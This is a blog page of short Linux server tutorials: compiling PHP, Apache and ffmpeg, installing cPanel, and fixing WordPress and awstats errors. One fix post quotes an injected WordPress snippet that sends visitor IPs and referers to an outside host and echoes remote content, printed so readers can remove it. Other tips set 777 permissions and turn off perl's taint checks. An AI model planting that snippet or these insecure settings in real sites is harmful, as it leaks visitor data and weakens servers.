Skip to main content

Posts

Showing posts with the label :: Web

:: install rapidleech on linux / vps

:: whatis rapidleech please take a look this :: how to install rapidleech on vps / linux $ cd /home/user/public_html/ $ wget http://rapidleech.googlecode.com/files/rapidleech-svn322.zip $ unzip rapidleech-svn322.zip $ mv r322/ rl $ chmod 777 rl/files/ rl/configs/ rl/configs/files.lst open your rl on: yourdomain.tld/rl :: links + googlelinux + tutorit

:: installing google apache mod_pagespeed

:: whatis mod_pagespeed please take a look this.. :: download and compile mod_pagespeed + download depot_tools [ linux: ~ ]# mkdir ~/bin [ linux: ~ ]# cd ~/bin [ linux: bin ]# svn co http://src.chromium.org/svn/trunk/tools/depot_tools [ linux: bin ]# export PATH=$PATH:~/bin/depot_tools + download mod_pagespeed source-code [ linux: ~ ]# mkdir mod_pagespeed [ linux: ~ ]# cd mod_pagespeed/ [ linux: mod_pagespeed ]# gclient config http://modpagespeed.googlecode.com/svn/tags/0.9.10.1/src [ linux: mod_pagespeed ]# gclient sync --force :: compiling mod_pagespeed [ linux: ~ ]# cd ~/mod_pagespeed/src [ linux: src ]# make BUILDTYPE=Release [ linux: src ]# cd install/ [ linux: install ]# ./install_apxs.sh use that command if your apache installed from source.. if your apache installing from repository, do this: [ linux: install ]# make staging [ linux: install ]# make install [ linux: install ]# make stop start :: restarting apache [ linux: install ]# /usr/local/apache2/b

:: wordpress theme reset to default

:: whatis wordpress WordPress is an open source CMS, often used as a blog publishing application powered by PHP and MySQL. It has many features including a plugin architecture and a templating system. -[ http://en.wikipedia.org/wiki/Wordpress ]- :: reset themes wordpress to default # with cli [ linux: ~ ]$ mysql -u user -p mysql> use dbwordpress; mysql> UPDATE wp_options SET option_value = 'default' WHERE option_name = 'template'; mysql> UPDATE wp_options SET option_value = 'default' WHERE option_name = 'stylesheet'; # share hosting / cpanel / phpmyadmin 0. login on cpanel / phpmyadmin 1. select db for wordpress 2. select SQL tabs and run this command: UPDATE wp_options SET option_value = 'default' WHERE option_name = 'template'; UPDATE wp_options SET option_value = 'default' WHERE option_name = 'stylesheet'; 3. click GO 4. open your site, if you still get blank screen, you can login on admin page

:: how to fix error: failed to convert frame to gd image

:: error gd image on ffmpeg-php Fatal error: failed to convert frame to gd image in blahblabhblah :: how to fix failed to convert frame to gd - make sure your php supported gd ( compiled with gd ) [ linux: ~ ]# php -i | grep gd - install re2c [ linux: ~ ]# zypper in re2c - download and install ffmpeg lasted version [ linux: ~ ]# svn checkout svn://svn.ffmpeg.org/ffmpeg/trunk ffmpeg [ linux: ~ ]# cd ffmpeg [ linux: ffmpeg ]# ./configure --disable-mmx --enable-shared --enable-gpl --enable-pthreads --disable-static --disable-demuxer=v4l --disable-demuxer=v4l2 --enable-libx264 --enable-gpl --enable-libmp3lame --enable-libfaac --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-nonfree --enable-version3 --enable-swscale [ linux: ffmpeg ]# make && make install you can get more detail on this - download and install ffmpeg-php to lasted version [ linux: ~ ]# svn co https://ffmpeg-php.svn.sourceforge.net/svnroot/ffmpeg-php ffmpeg-php [ linux: ~ ]# cp -rf ffmpeg

:: install googleearth on linux opensuse

:: what is please take a look this :: how to install google earth on linux opensuse 0. download googleeartlinux.bin on google earth download 1. run googleearthlinux.bin [ linux : ~ ]# sh GoogleEarthLinux.bin 2. enjoy :: links + googlelinux + opensuse

:: install cpanel on centos ::

:: what is please take a look this. :: install cpanel on linux [ linux: ~ ]# yum install perl wget [ linux: ~ ]# wget layer1.cpanel.net/latest [ linux: ~ ]# sh latest thats it once it is done installing, assuming you have a license, you can access whm and start to configure it. :: links + googlelinux + cpanel

:: error bandwidth limit on wordpress mu ::

:: error on wordpress mu Bandwidth Limit Exceeded The server is temporarily unable to service your request due to the site owner reaching his/her bandwidth limit. Please try again later. Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n DAV/2 mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at 24365online.com Port 80 you got that error but your hosting did not limited of bandwidth.. and you get 24365online.com error but you didn't use that service site.. :: how to fix that wp mu error edit general-template.php file on wp-included directory, then remove this line : $url = “http://24365online.com/_YTG_yu/_dl/get_info.php?host=$host&referer=$referer&visitor_ip=$visitor_ip”; $content = file_get_contents($url); echo $content; :: links + googlelinux + muforum

:: fixed awstats error

:: error message Internal Server Error and on apache log get some error message like : Insecure dependency in require while running setuid at /path/awstat/awstats.pl :: solution [root: cgi-bin ]# vi awstats.pl # # Change this : #!/usr/bin/perl # to : #!/usr/bin/perl -U -U allow unsafe operations :: links + googlelinux

:: [re] compile imap on php5

:: what is please take a look at this. :: checking dependency make sure openssl installed on the box [ linux:~ ] # rpm -qa | grep openssl libopenssl0_9_8-0.9.8g-47.1 libopenssl-devel-0.9.8g-47.8 openssl-certs-0.9.8g-47.1 openssl-0.9.8g-47.1 :: installing imap for php5 from source [ linux:download ] # wget ftp://ftp.cac.washington.edu/imap/imap-2007a1.tar.Z [ linux:download ] # tar -xzf imap-2007a1.tar.Z -C /usr/local/ [ linux:download ] # cd /usr/local/imap-2007a/ [ linux:imap-2007a ] # make slx SSLINCLUDE=/usr/include/openssl/ [ linux:imap-2007a ] # cp /usr/local/imap-2007a/c-client/c-client.a /usr/lib/libc-client.a [ linux:imap-2007a ] # cp /usr/local/imap-2007a/src/c-client/mail.h /usr/include/ [ linux:imap-2007a ] # cp /usr/local/imap-2007a/src/c-client/rfc822.h /usr/include/ [ linux:imap-2007a ] # cp /usr/local/imap-2007a/c-client/linkage.h /usr/include/ :: [re] compile PHP5 from source please take a look instructions on build php on centos before do this [ linux:~ ] # cd downloa

:: [re]compile php5 with pdo mysql

:: what is please take a look at this. :: [re]compiling php5 with pdo mysql please take a look instructions on build php on centos before do this. [ root:downlad ]# wget http://nl2.php.net/get/php-5.3.0.tar.bz2/from/id.php.net/mirror [ root:downlad ]# tar -xjf php-5.3.0.tar.bz2 [ root:downlad ]# cd php-5.3.0 [ root:php-5.3.0 ]# ./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysql --with-gd=/usr/local --with-jpeg-dir=/usr/local/lib --with-png-dir=/usr/local/lib --with-freetype-dir=/usr/local --with-zlib-dir=/usr/local --with-mcrypt=/usr/local/bin/mcrypt --enable-mbstring --enable-ftp --with-pdo-mysql=/usr/local/mysql [ root:php-5.3.0 ]# make && make install [ root:php-5.3.0 ]# cp php.ini-production /usr/local/etc/php.ini [ root:php-5.3.0 ]# vi /usr/local/etc/php.ini ; change this line include_path = ".::/usr/local/lib/php" :: testink [ root ]# php -m | grep pdo pdo_mysql pdo_sqlite :: links + googleLinux + blackonsole

:: [mod] python on apache httpd

:: whatis please take a look at this. :: installing dependency [+] please install apache httpd on your server :: installing python on apache [+] compile and install python [ root:~ ]# mkdir download [ root:~ ]# cd download/ [ root:download ]# wget http://python.org/ftp/python/2.6.2/Python-2.6.2.tar.bz2 [ root:download ]# tar -xjf Python-2.6.2.tar.bz2 [ root:download ]# cd Python-2.6.2 [ root:Python-2.6.2 ]# ./configure --enable-shared [ root:Python-2.6.2 ]# make && make install [ root:Python-2.6.2 ]# ldconfig [+] compile and install flex [ root:download ]# wget http://sourceforge.net/projects/flex/files/flex/flex-2.5.35/flex-2.5.35.tar.bz2/download [ root:download ]# tar -xjf flex-2.5.35.tar.bz2 [ root:download ]# cd flex-2.5.35 [ root:flex-2.5.35 ]# ./configure [ root:flex-2.5.35 ]# make && make install [+] compile and install mod_python [ root:download ]# wget http://apache.pesat.net.id/httpd/modpython/mod_python-3.3.1.tgz [ root:download ]# tar -xzf mod_python-3.3

:: install ffmpeg and ffmpeg-php

:: what is please take a look at this. :: compile and install dependency packages [ compile and installing yasm ] [ linux:download ] # wget http://www.tortall.net/projects/yasm/releases/yasm-0.8.0.tar.gz [ linux:download ] # tar -xzf yasm-0.8.0.tar.gz [ linux:download ] # cd yasm-0.8.0/ [ linux:yasm-0.8.0 ] # ./configure [ linux:yasm-0.8.0 ] # make && make install [ compile and installing faad2 ] [ linux:download ] # wget http://downloads.sourceforge.net/faac/faad2-2.7.tar.bz2 [ linux:download ] # tar -xjf faad2-2.7.tar.bz2 [ linux:download ] # cd faad2-2.7/ [ linux:faad2-2.7 ] # ./configure [ linux:faad2-2.7 ] # make && make install [ compile and installing faac ] [ linux:download ] # wget http://downloads.sourceforge.net/faac/faac-1.28.tar.bz2 [ linux:download ] # tar -xjf faac-1.28.tar.bz2 [ linux:download ] # cd faac-1.28/ [ linux:faac-1.28 ] # ./configure [ linux:faac-1.28 ] # make && make install [ compile and installing lame ] [ linux:download ] # wg

:: build php on centos

:: what is please take a look at this. :: case we can build php with support mysql, apache, gd, jpeg, png, freetype, curl, zlib, mcrypt , mbstring, ftp. :: compile and install dependency for php support - apache - mysql - gd [ compile and installing libpng ] [ root:~ ]# vi /etc/ld.so.conf # add this line /usr/local/lib [ root:~ ]# mkdir download [ root:~ ]# cd download/ [ root:downlad ]# wget http://sourceforge.net/projects/libpng/files/01-libpng-master/1.2.40rc01/libpng-1.2.40rc01.tar.bz2/download [ root:downlad ]# tar -xjf libpng-1.2.40rc01.tar.bz2 [ root:downlad ]# cd libpng-1.2.39 [ root:libpng-1.2.39 ]# ./configure [ root:libpng-1.2.39 ]# make && make install [ compile and install libjpeg ] [ root:downlad ]# wget http://sourceforge.net/projects/libjpeg/files/libjpeg/6b/jpegsrc.v6b.tar.gz/download [ root:downlad ]# tar -xzf jpegsrc.v6b.tar.gz [ root:downlad ]# cd jpeg-6b/ [ root:jpeg-6b ]# ./configure --prefix=/usr/local --enable-shared --enable-static [ root:jpeg-6b ]

:: build apache httpd on centos

:: what is please take a look at this. :: download apache 2.2.13 [ root:~ ]# mkdir downlad/ [ root:~ ]# cd downlad/ [ root:downlad ]# wget http://apache.cbn.net.id/httpd/httpd-2.2.13.tar.bz2 :: compiling apache 2.2.13 [ root:downlad ]# tar -xjf httpd-2.2.13.tar.bz2 [ root:downlad ]# cd httpd-2.2.13 [ root:httpd-2.2.13 ]# ./configure --prefix=/usr/local/apache2 --enable-mods-shared=most --enable-module=most --enable-so --enable-cache --enable-file-cache --enable-disk-cache --enable-mem-cache [ root:httpd-2.2.13 ]# make && make install :: run the httpd [ root:httpd-2.2.13 ]# /usr/local/apache2/bin/apachectl start :: testing [ root:httpd-2.2.13 ]# netstat -lpn | grep :80 tcp 0 0 :::80 :::* LISTEN 14060/httpd your httpd running ( the port 80 opened ) on your server now. or you can open your web browser and goto url : http://yourdomain.tld or http://youriphttpserver :: link + GoogleLinux